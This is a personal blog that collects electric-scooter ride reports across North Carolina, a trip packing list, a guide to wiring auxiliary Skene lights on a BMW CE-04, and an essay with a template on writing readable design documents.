I'm behind schedule, so I skip the movie, look at their surprisingly thin amount of artifacts, and head out the backdoor to the archeological site. They've reconstructed the palisades, a handful of buildings, and the mound. I was a little disappointed in the lack of artifacts shown, but it's definitely worth checking out if you are in the area.

A prehistoric quarry

Heading Northwest on 73 and 27, I cross over the great Pee Dee River. The river is over 1000ft wide at this point, which allows the Uwharrie Mountains to be visible behind them. The Yadkin River joins the Uwharrie north of here, and the river today has a series of dams and reservoirs that likely contribute to the width.

The Uwharrie Mountains are little known outside of North Carolina but are one of the oldest mountain ranges in the United States. They are at least 20 million years older than the Appalachians and once rose to some 20,000 feet before eroding to just over 1,100 feet. In recent history, the Uwharrie was a famous hideout for Civil War draft dodgers before Zebulon Vance ordered it cleared out.

The Uwharrie Mountains were also volcanically active, resulting in a lot of rhyolite - a social-rich volcanic rock that lends itself to prehistoric tool making. By the time 10,000 BC rolled around, Morrow Mountain, in particular, had been turned into one of America's oldest rock quarries. If you wanted a sharp arrowhead or spear, it's gotta be genuine Morrow Mountain Rhyolite. Tools made from this mountain were traded throughout the East Coast and have been found in archeological sites from Maine to Florida.

The roads through Morrow Mountain State Park are gorgeous, and my first taste of mountain twisties is on the BMW CE-04. Initially, I didn't feel I had precise control of it in the tight turns, but it felt great nonetheless.

Ablemarle: a weird place

Albemarle is a weird-feeling town - it feels far more significant than one would expect for a population of 15,000, with oodles of large government buildings. In retrospect, that makes a lot of sense, given that it is the county seat, albeit a small one. Albemarle is an old textile town with a surprisingly lovely-looking downtown area - but it was devoid of commercial activity, with only a single place open for lunch.

I'm an hour behind schedule, so I get lunch in Albemarle instead of Charlotte and charge up beside the police department and courthouse. On the way to eat, I dodge two police officers and a schizophrenic lady. I first overheard her yelling at the sky while unpacking the bike, so I carefully concealed the side bag with my jacket before walking away from the parking lot.

Fuck Charlotte

I was heading to Charlotte, NC, not because it made sense thematically but because I was meeting two old friends. I was running late, and I got my times a bit mixed up as I use two apps for trip planning:

ABetterRoutePlanner (now owned by Rivian), which takes charging times into account and even recommends chargers along the route but does not know about the current state-of-charge
BMW Motorrad Connected, the only app displayable on the scooter's massive 10" screen, gives time estimates but neglects to consider charging times or recommend charging stops.

While programming the route in both apps, I initially added a second charging stop in East Charlotte but later removed it from ABRP as it was unnecessary. The time estimate was for that charger rather than the Starbucks.

Once I realized my mistake, reaching the correct destination took me another 15 minutes. Once plugged in, I punched up Starbucks on Google Maps and began walking. It turned out to be the wrong Starbucks, as multiple of them existed at the same intersection. My friend was, in fact, at a 3rd Starbucks elsewhere. The heat was killing me, so I wasn't going anywhere, and I forced my friend to meet me wherever the fuck I actually was.

Hanging out with friends was great but it also forced me into Charlotte rush hour. Not commuting by anything but bicycle or a metro train for the last 13 years, I forgot that rush hour was a thing. The BMW Connected app helpfully routed me in front of Charlotte's largest stadium, where folks were lining up for a country music show. The traffic was traumatic in the heat, and a lack of clarification on when and where filtering was allowed had me join in with what the cars were doing. Not being a US citizen, I try my best not to challenge local conventions.

On the way out, I noted the Iswa Nature Preserve on the way out, named after the Catawba tribe of Native Americans who used to live along the nearby river.

Charming Cherryville

The Nav system recommended routing through Cherryville instead of riding through Shelby, so I rode up 274 to do so. The roads were lightly twisty with a light flow to them. As I was within a few hundred feet of a charger, I stopped by for a quick top-off as an insurance policy and an excuse to explore the town. In the parking lot, the welcome committee vehicle awaited me:

The town looked cute, but nothing seemed open, even on a Friday evening. I was in and out of there within 10 minutes.

Rutherfordton: the unpronounceable town

When the GPS announced the name "Rutherfordton", it sounded like "Rufton," so I asked a local. She said, "No, that's not it. It's Rufton". It sounded the same to my ears, but perhaps some subtle garbled half-hearted syllables were added in for good measure. Regardless, Rutherfordton was where the Carrier House B&B was and my final destination for the day. I didn't arrive there until 7:50 pm.

I got to talk at length with the proprietors, who offered to let me park the CE-04 in their garage so that it could be charged overnight. They also pointed me to the Copper Penny Grill, which had a fantastic glazed salmon dish and a great beer selection.

After dinner, I fell asleep quickly. It'd been 14 hours since I had left my driveway, with 260 miles traveled. At least 4 hours were spent charging, but instead of waiting, I wandered around with a camera in hand.

Tomorrow the twisties await.

In Search of Native Lands: Preparation

2023-07-13T00:00:00Z

Today I packed up the BMW CE-04 and did a range test to see how far I could get on North Carolina rural highways with everything: 62 miles, just as expected. What I packed is a bit different than what I would have packed had I been doing a ride on my GS's of yore:

Here's what I've packed:

- Emergency charging gear: J1772 cable, Jackery 1000 Power bank, adapters (TT30, 30A, 50A, Tesla), charger for Jackery - Clothes: 2 shirts, 3 socks (1 waterproof), rain jacket, rain pants - Tools: MotoPumps AirShot, Dynaplug Xtreme, Allen key set, Torx set, Headlamp, multi-tool - Self-care: water bottle, snacks, toothbrush, deodorant, eye mask, first-aid kit, Garmin Messenger (Satellite tracker) - Entertainment: MacBook Air, Fuji X100V, Kindle, USB cables

Believe it or not, this all fits without needing to bring along an ugly top case:

I did take the test ride as an opportunity to test the "Electric Jerry Can", and it ran fine at 10A. This is my homemade range extender for EVs, built out of a Jackery 1000 battery bank with a ground-free EVSE cable. It’s good for an extra 9% of range should I run into a disabled charger or make a terrible miscalculation:

Kickstands up at 5am tomorrow.

In Search of Native Lands: Intro

2023-07-12T00:00:00Z

In 42 hours’ time, I'm embarking on a 3-day journey through the center of North Carolina, focusing on places that were important to the Native Americans of this area:

My weapon of choice is the BMW CE-04 - an electric two-wheeler, which is why you see charging stops scattered around every 45-60 miles:

The charging stops have been strategically placed in towns I'd like to explore by foot, so expect to see a lot of small-town action. The route is flexible, but planned stops include:

- Town Creek Indian Mound - Hardaway Site - Morrow Mountain - Charlotte - Rutherfordton (overnight) - Lake Lure - Chimney Rock - Little Switzerland - Catawba Meadows - Joara Site - Lenoir - Hickory (overnight) - Trading Ford - Sapona Town Site - Salisbury - Lexington - Kewaunee Site - Asheboro

All said and done, the trip should clock in at around 575 miles. My biggest fear for this trip is hitting a deer during one of my early morning departures. The thing I'm most excited about so far is Little Switzerland, just because it's one of the few areas of this state that I have yet to visit.

Piggly Wiggly saves the Electric Coastal Raid

2023-06-23T00:00:00Z

The birthrights of humankind are that of unexplored limits and undiscovered territories. The aim of my trip last weekend was to find a bit of both.

In the USA, my steed is exotic and likely unfamiliar to most readers: the BMW CE-04. It's an electric scooter with an 8.5 kWh battery, good for about 60 miles of range on country roads. It'll comfortably hit 80 mph – but not without a severe impact on its range. This beemer is a true city slicker and, like the Ivory Billed Woodpecker, is rarely found in the South-Eastern United States.

My goal is simple: learn how far this scoot can reasonably travel in a day. The nearest beach is a 333-mile round-trip avoiding highways, so I figure that should be a good benchmark to use. This was my plan:

Did I mention that this bike requires an hour of charging for every hour of riding you put in?

The Crack of Fucking Dawn

I scarf down a bowl of yogurt with some granola and head out to the gravel driveway to hop on my electric steed. Somehow, I've made it this far, and it's only 5:01 am. I'm so excited about this ride that coffee doesn't even cross my mind.

I turn on the ignition, and the BMW CE-04 roars to life, or not.. as there are absolutely no moving parts to engage until you pull on the throttle of this electric-motor belt-driven battery-laden spaceship. The BMW Navigation software cheerily announces that I should arrive by 8:45 am, but sadly, it is unaware of the need to make charging stops.

This is the earliest I've left my house for anything but a group bicycle ride, and the cool weather feels nice against my vented jacket, gloves, and boots. As I wait for a traffic light on the campus of UNC-Chapel Hill (America's Oldest Public University), I see a Gray Fox playfully dancing up and down the street, likely attempting to catch a small rodent that I'm unable to see in the pitch fucking black.

The first 15 miles of this ride travel through suburban areas (Chapel Hill, Cary, Morrisville, Apex) should know quite well, having lived among them for about 8 years. Winding through the ethereal darkness at 5 am, nothing seems familiar.

Daylight breaks as I cross through Holly Springs, seeing a dot on my map that must mean a charging stop, but I realize I'm saving it for the way back. Instead, we're heading a few miles more to Fuquay Varina. I always assumed this town had a corrupt Native American name, but it resulted from a merger of two towns in the 1960s named after two different immigrants: Fuquay and Varina.

I like to explore new charging spots when I can, so I first try a charger at City Hall, but it's apparently blocked by a big red gate outside office hours. I updated its entry at PlugShare.com and moved on to the proper charger at the public lot two blocks away. I arrive with 49% battery left (14% more than ABRP's pessimistic calculation), walk around, visit the local historic park, and grab a book at the little library: "The Alchemist" by Paulo Coelho.

Technically I don't even need to stop in Fuquay, but I prefer to always have enough juice that I don't get stranded in case the only charger in a town isn't available (that'll come into play later in this story). After 29 minutes of wandering around, I pull the bike off the charger at 77% and head onward.

Dunn Dah Dunn Dunn

Leaving Fuquay-Varina, wooded suburbia quickly transforms into a quiet pastoral landscape where you can see for miles. Riding along NC Highway 55, I pass through Angier and then Coats, where I find a Cotton Museum that I should drag my mom to the next time she visits.

Like most EV charging stations, the only charger in Dunn is well-hidden enough to make any Geocacher or ADVrider Tag player excited: it's in an unmarked parking lot, hidden between two dumpsters.

I drop by Sherry's Bakery & Diner for a breakfast and coffee stop, read some of my book, and then wander around a bit, checking out the wares at the farmers market. After 45 minutes, the CE-04 is at a 97% charge, so I grab one last swig of water from my water bottle and saddle up for a ride to Clinton, NC.

"If you live long enough, you'll make mistakes." - Bill Clinton

The dull straight highways are killing my vibe, so I change the routing preference in BMW's navigation software from "Efficient" to "Winding", setting the dial down to 50% so the algorithm doesn't add unnecessary goose chases along the way.

It totally works: this turned out to be my favorite stretch of the ride: dilapidated barns, rough roads, smelly hog farms, loose cows, and curves. The sky is hazy from the smoke of distant wildfires.

The loose bull did freak me out a bit - while I've hung out with cows on a farm, I've never been stared down by one on the road. He stared intently at me the entire time as I gave it as wide of a berth as possible without going offroad.

Not long afterward, I spy a dip in the pavement, and as I am about to hit it, I spy orange tape alongside it. THWACK! My shocks bottom out, causing the scoot to bounce violently though without any loss of control. That's only the 3rd time in 3,300 miles of riding this bike that it's happened to me. I think to myself, "I hope those Skenes didn't fall off," and move on, wishing for a brief moment that I still had that GS, until I get to a stop sign and again feel the rush of the instant torque electric motor.

While making trip plans the other night, I found an unreviewed charger listed at Deacon Jones Toyota that wasn't listed elsewhere. It's along the way and has a higher kilowatt rating than the other charger I had in my plans, so I circle around the parking lot to confirm its existence and find nothing. I suspect it was inside the service area, but I have never seen that before.

Not feeling dejected, I head on to Nissan of Clinton, where I arrive with 28% state-of-charge and find that this charger is now under lock & key. I look back at the reviews on PlugShare, and see that the last review had noted, "It looked like the power was turned off.". This kind of comment usually means you need to hit a reset button or flip a power switch, so I thought nothing of it.

I walk back toward my bike and audibly scream "FUUCCCKKKK" into my helmet: not because of the lockout, but because I realize that my 3rd backup charging was no longer available. The bag I had attached to the back of the bike containing an emergency J1772 EV charger cable was no longer there. The ROK straps dangled impotently, still clipped as if nothing had happened. Thinking back, I recall playing a little fast and loose with the straps when I squeezed the water bottle back into the bag in Dunn.

A lovely employee at the dealership, Ryan, walks by, gawks at the bike for a moment, and asks if it's an electric bike. I confirm and then ask if it's possible to reactivate the charger. He calls up the GM, who drops by looking a bit grumpy and confirms that this charger is no longer available. He was sick of people coming by for a free charge, so they disabled this charger when they installed the new one for their use only. He doesn't seem to be an EV guy, so I don't get into the whole AC vs DC issue. He directs me to a new charger recently installed by Duke Energy a couple of miles away.

Ryan shows off Nissan's latest electric car, the Ariya, before I head to the new charger. I've got 22 miles of range, so I'm not worried. I recalled that Ryan was good enough to suggest that I double-check the charger before going out of my way to it, so I pulled over after a mile and did so: it was a good call, as this new charger is also DC, and the BMW CE-04 is only compatible with the slower and cheaper AC-based chargers.

With 3 charging options out of the picture, I researched other charging options within 20 miles and found a charger listed at the Piggly Wiggly in Warsaw, about 14 miles from here. I'm extremely concerned at the prospect of running out of charge, so I baby the throttle and ride just below the speed limit on Highway 24. The local truckers behind me are not amused with my life choices, honking at me when I pull out to let them pass.

Saved by the Piggly Wiggly

Unlike other EV charging spots, you can spot a Piggly Wiggly from a mile away. About a year ago, Piggly Wiggly started adding EV chargers to their grocery stores and accidentally built the most robust EV charging corridor in the southern part of the state.

I arrive at the charger with 11% charge left - low enough that if it's broken, my backup plan is either a tow truck or asking my wife to drive 2 hours to rescue me. While this charger requires the Shell Recharge app, so did the one in Fuquay, so it was easy to get started.

With my water bottle missing and a need to urinate, I head into this monument of the modern supply chain and look for a restroom. I can't find one so I head across the street to the gas station, where I deposit liquid and purchase its replacement.

Like most towns that spring up suddenly in response to a railway or highway - Warsaw doesn't have much of a downtown. It does have some neat old buildings, though, for instance, this house that is now the Duplin County Veterans Museum:

Warsaw also boasts an unusually high police presence: more akin to Beijing or Cary than any town of 2700 denizens ought to be. Two officers and two different sets of locals ask naive questions about the bike. One of the locals remarked, "I can tell you ain't from around here. No one here has weird things". Everyone is shocked at the $14k sticker price and 80mph top speed but similarly disappointed by the 60-mile range.

Wallace & The Winery of the South

My riding plan is wholly shot at this point; with no feasible way to ride US-421 south to Burgaw due to a lack of working EV chargers along the way, I head directly toward Wallace via Hwy 117.

I soon make it to Rose Hill, where I spy my favorite winery in the Southeast: Duplin, which specializes in muscadine-based sweet wines. Don't come here expecting fancy, though. Duplin makes the sort of wine you break out at a BBQ beach party rather than a wedding. Most of it is too sweet for words, but as a card-carrying member of their wine club, I can assure you that their Mothervine Wine is divine.

I'm already running behind schedule due to the Clinton charging debacle, so I don't bother to drop in, and instead make my way along the railroad tracks to the next Piggly Wiggly in Wallace.

There isn't much to write about Wallace, so I won't.

Out in the country, but the blueberry still connect - Jay Z (sorta)

I continue pushing the scoot further down the line and find myself surrounded by cyclists on a group ride. June is typically when I would be doing 500-mile bicycle rides across California, so the sight makes me a little homesick.

Before buying this scoot, cycling was the main way I got around. I don't feel as safe as a human-powered vehicle in North Carolina due to the lack of inclusive traffic engineering practices, so I bought a scooter. Somehow the scoot feels safer, but deep down inside, I know that cyclists live longer lives due to their healthier lifestyle, even if they are more vulnerable on the road.

My final charger before the beach is in Burgaw. Signs along the way inform me that Burgaw is the home of the North Carolina Blueberry Festival, which sounds like a riot. This weekend, of all weekends, is that festival, and my charger is in the middle of its parking area.

I'm a patient guy, so I don't mind the slow traffic, even if I'm baking in my Klim gear. I arrive at the Piggly Wiggly with 33% battery life, park in its dedicated EV spots, and plug the bike in.

Unlike most chargers, Shell Recharge stations require you to scan in a QR code or type in a station ID. I try the QR method, and the Shell Recharge app reports "No Stations Found". What in the actual fuck? I try typing it in and try the other port and run into the same problem. I try using other functions in the Shell app and see what seems to be connectivity errors. I spot a Verizon mobile cellular tower truck at the other end of the parking lot and make the connection to what's going wrong: the NC Blueberry Festival is so jam-packed with cellphone users that T-Mobile doesn't have the bandwidth to make outgoing connections.

The Shell Recharge app apparently requires a working data connection on your cellphone. After pissing in the store's restrooms, I decide that I will make this work instead of going across town to another charger. The plan was to find an open WiFi network somewhere in town, start the charge there, and then walk to my bike.

I'll cut the story short here, but that little maneuver cost me 30 minutes.

Wrightsville Beach

If getting out of Burgaw was like wandering through a morass, than riding through Wrightsville Beach was like entering a minefield blindfolded. I acknowledge that I am traffic, but the road engineers here should be shot, have their fingernails plucked out by a sugar-fueled toddler, and then quartered.

I am glad that the Town placed its chargers a 20-minute walk from the beach because that's about as much as I was willing to suffer on the road anyways. The charger here was particularly busy, likely because every other parking space for miles around was already taken by fellow beach-goers.

By this point, I'm thirsty as fuck, and I head toward the restrooms hoping to find a water fountain. The only option was a water bottle filler; mine was lost a few hours back. I see a discarded disposable water bottle on the ground with a cap, grab it, and fill it up, hoping the previous user didn't have Herpes or some other communicable disease.

I then walk to the beach, absolutely baking in my Klim Marrakesh pants. In retrospect, I should have changed into my swim trunks, but my brain kept telling me: "You are already two hours late, ain't nobody got time for a swim".

The beach was absolutely jam-packed - I grabbed a selfie, returned to the bike, and left Wrightsville Beach. I had planned on charging the scoot to 97%, but not wanting to further tie up the last parking spot, I decided to head out and top off at the Cape Fear Community College North Campus.

Going Backwards to Go Forwards

The community college has something going for it that Wrightsville Beach had little of: shade. I pull into the lot with a 69% charge, grab a book, and duck under a tree for a few minutes. I knew after this, I was going to have to head back on the same route that I came in on, which is generally against my own rules, but the only alternatives are going to cost me an extra 30 minutes, which isn't ideal as I'm already two hours late.

After 15 minutes, I'm back up to 89% and ready to head back to Rose Hill. I missed the World's Largest Frying Pan on the way down, so I'm happy to be back here to bathe in its awesome power:

The frying pan is, in fact, quite large, but it is also weird looking and underwhelming. I stop by the nearby charger run by the local power coop, where I stumble into some people charging an EV for the first time. They are confused as to why the Chevy Bolt EV they are borrowing is charging so slowly. I explain the AC vs DC difference, directing them to a faster DC station 4 miles away. I ruminate on how complicated EV charging is, even compared to the diesel vs leaded vs unleaded vs ethanol-free fuel arguments, and then read more of my book.

Knowing that charging alternatives become limited after this point, I make the call to top off at the Warsaw Piggly Wiggly again 15 miles north of here, just in case my planned stop in Newton Grove is a bust.

Refueling at Smithfields Chicken 'N BBQ

As I head north, I'm keenly aware that it's becoming prime deer hour. As I see one dash across the highway 300 yards ahead of me, I patiently await others to join in, but nothing other than a stray hawk or owl crosses my path again.

Similar to Piggly Wiggly, the restaurant chain Smithfields Chicken 'N BBQ has also chosen to become a critical partner in North Carolina's EV infrastructure. Their chargers use a Tesla-specific plug (now known as "NACS"), but I keep a TeslaTap mini J1772 adapter stowed away so that I'm able to charge here as well.

This adapter does not suddenly make Tesla Superchargers work with the CE-04, as they are the faster DC standard. It'd be nice if it did, as they charge 35X faster than I can over AC.

I haven't had a proper meal all day, so even as a pescatarian, Smithfield's BBQ sandwich is just the thing for me today. Out of necessity, I've had to become more of a flexitarian than a pescatarian since moving back to NC a year ago.

I take my time: eating, reading, and relaxing for 53 minutes until the bike is up to 96% - more than enough to make it to Holly Springs without range anxiety. Like a cellphone, the closer you get to 100%, the slower it charges, which is why I part of why I opt for shorter stops more often.

Stabbing Westward

I didn't leave the restaurant until 8pm, so at this point, I am chasing the dying embers of the sun as I make my way home.

Highway 50 is wonderfully quiet, idyllic, and filled with cornfields as far as the eye can see. I like it here.

I pass through Coats and Angier again, but this time make a quick photo stop at Sunni Skies Homemade Ice Cream. This is the closest North Carolina has to a "famous" ice cream shop, with 130+ flavors and numerous appearances on TV shows. Two of their flavors, "Exit Wound" and "Cold Sweat" are so spicy that they require you to sign a waiver. While it sounds enticing, I'm feeling done and decide to push hard to see if I can make it home by 11.

Having a Holly Jolly Time

I arrive in Holly Springs in the dark, with 22% battery, and without fanfare. I am gobsmacked to see that this town has an actual nightlife in 2023, with bars and fancy restaurants with patios. When I lived here 20 years ago, the after-hours activity of choice was the Sonic Drive-Thru and the nearby Walmart.

The charger parking at the Holly Springs Town Hall is weird: there are two charger ports and one EV space jammed up to the handicapped parking. While chances are slim that I would get a ticket for parking in the handicapped spot as it's the only place most vehicles can access the second port from, I'm on a bike - so I just park behind on the sidewalk, risking a more exotic citation.

I charge up to 65% - just enough to make it home with a large margin of error. Then, I meander back through the suburban maze of the triangle. Coming back in the other direction, other than the street names, the roads don't seem any more recognizable in the dark than the mystery they were before.

At this hour, my main concern is drunk and distracted drivers rather than deer, but there is no drama today. I arrive home in Chapel Hill at 10:41pm with a 22% charge. Oddly enough, I'm not tired at all – likely because I’ve been sitting on a grin-inducing adrenaline machine for most of the day.

The Numbers

333 miles
17 hours and 40 minutes
11 charges
1 lost bag

As far as determining the daily travel limits of the CE-04, here are my new thoughts:

250 miles (400km): easily accomplished with the right infrastructure
350 miles (560km): requires planning and luck.
500 miles (800km): the practical upper limit for a full 24-hour day.

In closing

This trip had a bit of everything central to the modern EV charging experience in America:

Missing chargers
Unavailable chargers
Incompatible chargers
Overall confusion over technology
Lack of signage
Awkward parking arrangements
Misbehaving charging apps

If you are riding around in a Tesla with 300+ miles of range and automated navigation to a well-maintained charging network, it's easy to be oblivious to how difficult long-distance travel is for other EV users.

As much as I love the CE-04, I came away from this day more convinced than ever that any EV without support for DC fast charging is an evolutionary dead-end. I'm eager to see what Fuell, Energica, Livewire, and other forward-thinking manufacturers do in the near future.

I suspect that 10 years from now, this ride report will look as antiquated as reports from 1920 look to us today.

Skene Lights Installation on the BMW CE-04

2023-06-14T00:00:00Z

Before allowing my kids to ride on the back of my BMW CE 04, I wanted to drastically improve its visibility. It turns out that there is a company that specializes in doing just that: skenelights.com

The lights they sell have a unique conspicuity filter, which uses the motion-detecting characteristics of human vision to enhance visibility. It's difficult to accurately capture the appearance with a cell phone camera due to the rolling shutter, but this is what it looks like before sunset and at night:

https://youtu.be/1ggsJFvgzgc

These lights can also work as an extra set of blinkers, and in the case of the rear lights, they will also light up if I hit the brakes or through deceleration if I even just let off the throttle.

The biggest problem with installing 3rd party lights is knowing how and where to plug them in. As BMW has chosen not to publish an electrical diagram, it took me a full day to figure it out. This was my first time using Posi-Tap connectors, which was easier than I thought: after watching a Posi-Tap install video, I only had one wire that required multiple taps: the 12V+ lead on the license plate light.

This guide is meant to capitalize on my misery and for your use as a time-saving CE-04-specific supplement to the official Skene installation guides. Now, let’s go take things apart!

Photon Blaster-TS Front Lights Installation

Time: 2 hours if this is your first time installing lights
Tools: T30 wrench, T25 wrench
Suggested wiring:
- Switched +12V -> Green alarm wire
- Ground -> Brown alarm wire
- Left Turn Signal -> Red left turn signal wire
- Right Turn Signal -> Red right turn signal wire

1. Remove the front panel

The front panel on the CE-04 slides down - no tools required.

Underneath this panel are the headlight adjusters, an emergency T25 wrench, and an ODB-II port.

2. Remove the windscreen.

This is held by 4 T25 screws. If you have the high windscreen, you may have more screws than this, but you only need to remove the bottom 4 for this project.

3. Remove the relay and indicator panel

There are 4 T30 screws underneath the windscreen and behind the display.

Once unscrewed, you can access all the wires you need to install auxiliary lights for the BMW CE 04. First, we are going to use the alarm for 12V switched power and ground - highlighted below:

4. Tap the alarm connector

I don't have an alarm, so my scooter came with this 120-ohm resistor (BMW part 7668405 01) installed. Either way, the idea is the same: install the larger blue Posi-Tap's on the brown (ground) and green (12V switched power) wires.

Once you've done that, connect the wires up to your Photon Blasters and power up the CE 04 to confirm basic operations:

If your taps were successful, the lights should now work when you turn your scooter on. If not, check that you successfully pierced the cable, as it is easy to miss the center of the plug you are tapping into - DAMHIK.

5. Tap the turn signals

If you have the turn-signal variety of the Photon Blasters (-TS suffix), tap into the red wires on the turn signal cables too. Thankfully they are straightforward to access:

6. Secure the controller

Try your turn signals, and if they work, you can move on to placing the velcro for the controller on the flat area between the alarm and the screen:

7. Route the LED cables

Before you clean up your cable mess, I suggest screwing the Skene lights into their eventual home at the bottom of the wheels. You can drape them across the front of the fairing on either side. I experimented with several ideas, such as removing the panels and using the gaps between them, but in the end, I went with a simple approach (no additional unscrewing required):

The installation guide suggests a drip loop so water does not drip down the cable and into the lights.

I found that introducing this bend into the cable revealed wires on the right side light, so I added some reinforcement electrical tape to protect it:

I routed the cable up the fork protector and added a zip tie to the fork boots to make sure that the cable didn't pop out from behind the protector:

Now get the bike on the center stand, and push the wheel full lock in either direction to ensure that the wires are not run so tightly that they interfere with steering.

8. Clean up

Then go ahead and wrap all of your connectors with electrical tape and use every twist tie you can to make things look nice. Here is what things looked like under the hood for me before I put the panels back on:

I was able to hide all of the wires beneath the turn signal panel so that you couldn't even tell that evil things had been done below:

Now slide the front panel back into place, put the screen on, and level out the LEDs. If your lights aren't pulsing, you may need to enable the conspicuity mode - see the manual for programming notes.

P3 Rear Lights (IQ-260 Series) Installation

Time: 2 hours
Tools: T25 wrench, multi-tool, scissors
Suggested wiring:
- Switched +12V -> white/grey wire to the license plate light
- Ground -> brown wire to the license plate light
- Left Turn Signal -> white wire to the indicator cluster
- Right Turn Signal -> blue/green wire to the indicator cluster
- Brake - one of the two lavender/red wires to the indicator cluster

On the CE-04, the rear lights are more challenging to install than the front lights. Having removed the rear wheel before to replace a broken indicator light, I opted to write up installation instructions that do not require wheel removal - even if doing so does provide a slightly cleaner install.

1. Remove panels

First, remove the 3 T25 bolts holding the belt cover. The arrow points to where we will be tapping the wires:

Remove the white panels on both sides for more room - both have one T25 bolt to remove before you can pull them out.

2. Tap the power leads

You will need to strip the fabric from two cables: the 2-wire license plate light cable with a quick connector and a 6-wire indicator cluster cable. I suggest carefully removing the license plate light cable using the quick connector and a small flat-head screwdriver for easier access.

If you end up breaking the safety latch on it, no big deal - I broke mine on the second go around. Once detected, install PosiTaps on these two wires for the ground (brown) and 12V switched power (silver/black).

Once you do this, perform a power-on test of the lights.

3. Tap the signal leads

The 6-wire indicator cluster cable is behind the license plate light and is slightly more difficult to unwrap. I used a small pocket knife and pair of scissors to cut into the section where the thick translucent plastic protector part ends, careful not to cut into the wires:

You'll need to install Posi-Taps onto the white wire (left turn signal), blue/green wire (right turn signal), and one of the lavender/red wires (brake). The result looks somewhat like a rainbow snake exploded:

4. Wrap the taps

I wrapped the cables up in electrical tape (I regret using purple), and then removed the back panel (T25 screws) to cleverly hide the tapped cables and route the controller to its final resting space above the 12V battery.

5. Secure the controller

I could have hidden the controller below, but since I had the decelerometer version, I needed a level surface, so I chose the space just above the 12V battery.

As the manual suggested, I installed a zip tie to the cables, and then I used some duct tape to keep it from rattling around.

6. Route the LED cables

Once I knew how long I needed the wires to run, I installed the rear lights, running the wires beneath the swing arm until they could join the standard indicator wires. If you remove the rear wheel, you can instead access the small channel underneath the plastic:

Once you put humpty dumpty back together again, it will look something like this:

While I don’t love the visible tie wraps on the mudguard holder, I also don’t love removing and reinstalling the rear wheel.

I suspect I could have likely gotten a cleaner install by tapping closer to the fuse blocks, but I was trying to stay out of the high-voltage area of the bike.

In Closing

The Skene lights were a pain to install but well worth the added visibility. If I was to criticize anything, it'd be the wire boot on the Photon Blaster LED lights and the fact that when the turn signal is on, both the Photon Blasters will display an alternate flashing pattern.

Writing Readable Design Docs

2023-06-06T00:00:00Z

A reposting from my Google Doc at https://tinyurl.com/readable-dd

Why bother?

Circulating a design document is like putting your idea up for code review.

Submitting ideas to the scrutiny of peer review is your team's best defense against engineering incompatible with its principles.

All humans have blind spots. Your goal as an author is to gather enough input to reveal them before execution. Issues found during design are 6X cheaper to fix than during implementation:

The questions that reviewers should have in their mind while reading the document are:

Does this fit with my organization's principles?
Could the proposed implementation be made simpler?
Are there alternative approaches to consider?
What additional concerns should be addressed?

10 Elements of Readable Design Documents

1. Optimized for reading

Be respectful of your reader's time.

Design documents should be just long enough to convey your novel idea and no longer. The longer your design document, the less likely it is to be read and understood.

If your design document is over seven pages long, relocate supporting content into separate documents and add hyperlinks. If your design document is over 10 pages long, you are not respecting your reader's time.

2. Grounded by context

Why do we need this thing?

Design documents often have a shelf-life of 5-10 years and may be read by hundreds of engineers. Write design documents for the engineers that come after you.

Provide a Background section to ground all readers in the same context that you have as an author. This section should describe how this became a problem, why it is worth solving, and whether anyone has previously attempted to solve it. This section should not reference the proposed design.

3. Focused content

Most design documents should not include code or configuration examples.

If an example is critical to understanding a design (for example, a new API or config file format), show an example or two, but stay under 20 lines total.

Including code encourages bike-shedding and distracts reviewers from reviewing the novel portions of your design and architecture. Code changes are better reviewed down the line using code-review tools, where more context is available.

4. Considers alternatives

The most critical section of a design document is the enumeration of ideas imagined and why they are no longer being considered. This section sends a message to prospective reviewers that you've done your homework and should serve to answer the question: "Is this solution sized appropriately?"

Your reviewers should be confident that your proposal is no more complicated than necessary and not simpler than required.

5. Consistently structured

To promote easy reading and ensure that the most important topics are covered, introduce a standard design document template within your organization. Here's my ideal set to start with, roughly based on Google's own internal structure:

Objective: 1-2 line description of the impact you intend this new design to have
Background: What context is necessary to understand this design? Assume the reader is brand-new to the project. Do not mention your proposed solution.
Goals/Non-Goals: A bulleted list of your goals and what problems you do not intend to solve. This section helps illustrate design constraints.
Detailed Design: This is where you describe the novel part of your design.
Alternatives Considered: What ideas did you consider and discard?
(Reliability|Security|Privacy) Considerations: optional. Include where helpful.

Noticeably missing are planning-related sections, as they come after design approval and are better tracked elsewhere. Keep your template concise and well-scoped to encourage folks to design early and design often.

6. Collaborative

To cover your blind spots, pair up with a co-author early on.

Share your design document widely before it is fully polished. Encourage peers to suggest improvements or make them directly. In my experience, Sharing a Google Doc invites more collaboration and comments than sharing a pull request.

When feedback is light, set aside 10 minutes at the beginning of your next team meeting for attendees to read your document and add comments.

7. Measured Success

How will you prove whether or not this design was successful? Don't make the reviewer guess: paint them a picture of success.

If this design intends to replace an existing system, include the deprecation of the previous system and comparisons to the existing behavior. For example:

$new_system handles 100% of requests within 1ms (vs 100ms)
$old_system code base is deleted

Bonus points if you add a hyperlink to the authoritative data source.

8. Visual

Use this one strange trick to make your design doc memorable and encourage further reading: add an image.

It doesn't really matter what the image is, but consider adding a simple diagram to convey how your system interacts with others. If you can't come up with a diagram, insert a relevant meme or photo of your dog. People will remember it.

9. Legible

Do not assume that every reader is a native English speaker.

Understanding new ideas is difficult enough in a native language and doubly so when it isn't in your native language. Do not make non-native readers suffer through poor grammar or slang.

Just as you would run a lint-checker on code, use a grammar checker to find text that may confuse readers. Many free options exist, from Google Docs to VS Code plug-ins to purpose-driven solutions such as Grammarly.

10. Annotated

Design docs should declare who the authors are, the design, when it was written, and where within the review process it is. \

Your design document will move across different document repositories over its lifetime, so don't rely on revision control or Google Docs metadata, which may not be visible to the reader.

References

Design Docs at Google by Malte Ubl
Oxide Computer Company: RFD 1 Requests for Discussion by Jessica Frazelle

Appendix: Example Design Doc Template

Note for reviewers

While reviewing this proposal, focus on answering for yourself:

Does this proposal fit with our engineering principles?

Are there unexplored concerns with this design, such as reliability or usability issues?

Could the proposed implementation be made simpler?

Are there other alternatives to consider?

Summary

1-2 sentence summary of the idea, including the expected impact if implemented.

Background

The background serves to ground all readers in the same context that you have as an author. You should describe how the problem came to be, why it's worth solving, and whether there were previous attempts to solve it. Assume that the reader is new to this project but not the company.

Define or add hyperlinks to terms the reader may not yet be familiar with.

Goals

A bulleted list of specific goals for this proposal
How will we know that this proposal has succeeded?
Include specific, measurable outcomes that can be cited or tracked on a dashboard.

Non-Goals

A bulleted list of what is out of scope for this proposal

Is there something specific that is too difficult to solve at this time?

Detailed design

